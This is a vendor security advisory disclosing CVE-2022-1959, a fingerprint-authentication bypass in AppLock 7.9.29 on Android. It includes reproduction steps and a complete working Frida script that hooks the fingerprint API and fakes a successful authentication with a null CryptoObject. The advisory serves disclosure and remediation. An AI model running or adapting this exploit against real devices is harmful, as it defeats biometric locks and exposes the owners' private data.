AppLock 7.9.29 - Improper Access Control - Fingerprint

5,5

Medium

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

AppLock 7.9.29 - Improper Access Control - Fingerprint

Code name

State

Public

Release date

26 sept 2022

Affected product

AppLock (Fingerprint)

Affected version(s)

Version 7.9.29

Vulnerability name

Improper Access Control - Fingerprint

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVSS v3.1 base score

5.5

Exploit available

Yes

CVE ID(s)

Description

AppLock version 7.9.29 allows an attacker with physical access to the device to bypass biometric authentication. This is possible because the application did not correctly implement fingerprint validations.

Vulnerability

In android application fingerprint implementations, the onAuthenticationSucceeded method is triggered when the system successfully authenticates a user. Most biometric authentication implementations rely on this method being called, without worrying about the CryptoObject. The application logic responsible for unlocking the application is usually included in this callback method. This approach is trivially exploited by connecting to the application process and calling the AuthenticationSucceeded method directly, as a result, the application can be unlocked without providing valid biometric data.

Another common case occurs when some developers use CryptoObject but do not encrypt/decrypt data that is crucial for the application to function properly. Therefore, we could skip the authentication step altogether and proceed to use the application. To solve this there is no single answer, however a good approach is to use a fingerprint protected key store key that will be used to decrypt a symmetric key. This symmetric key must be used to decrypt the application storage.

I attach the following link so that you can better understand the vulnerability present in AppLock:

Steps to reproduce

  1. Install and configure AppLock.

  2. Activate and configure fingerprint protection in AppLock.

  3. Install and configure frida as indicated in the following link.

  4. Start AppLock on your device, if you set everything up correctly, you should now see a prompt to put your fingerprint.

  5. Run the following command on your laptop.

    frida -U 'AppLock' -l exploit.js --no-pause
  6. Now on your device press the 'recent' button, commonly represented by a square. This button opens the recent apps view so that you can switch from one open app to another.

  7. Log back into AppLock.

  8. Now all you have to do is log in again. This time you will enter the application instantly, without having entered a valid fingerprint.

Exploitation

exploit.js

// exploit.js
const getAuthResult = (AuthenticationResult, crypto) => AuthenticationResult.$new(
 crypto, null, 0
);

const exploit = () => {
 console.log("[+] Hooking PassphrasePromptActivity - Method resumeScreenLock");
 const AuthenticationResult = Java.use(
 'android.hardware.fingerprint.FingerprintManager$AuthenticationResult'
 );
 const FingerprintManager = Java.use(
 'android.hardware.fingerprint.FingerprintManager'
 );
 const CryptoObject = Java.use(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject'
 );

 console.log("Hooking FingerprintManagerCompat.authenticate()...");
 const fingerprintManager_authenticate = FingerprintManager['authenticate'].overload(
 'android.hardware.fingerprint.FingerprintManager$CryptoObject',
 'android.os.CancellationSignal',
 'int',
 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback',
 'android.os.Handler'
 );

 fingerprintManager_authenticate.implementation = (
 crypto, cancel, flags, callback, handler) => {
 console.log("Bypass Lock Screen - Fingerprint");

 // We send a null cryptoObject to the listener of the fingerprint
 var crypto = CryptoObject.$new(null);
 var authenticationResult = getAuthResult(AuthenticationResult, crypto);
 callback.onAuthenticationSucceeded(authenticationResult);
 return this.authenticate(crypto, cancel, flags, callback, handler);
 }
}

Java.perform(() => exploit());

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-1959 to refer to this issue from now on. Disclosure policy

System Information

  • Version: AppLock (Fingerprint) 7.9.29

  • Operating System: Android 8.0 (API 26)

Mitigation

There is currently no patch available for this vulnerability.

References

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.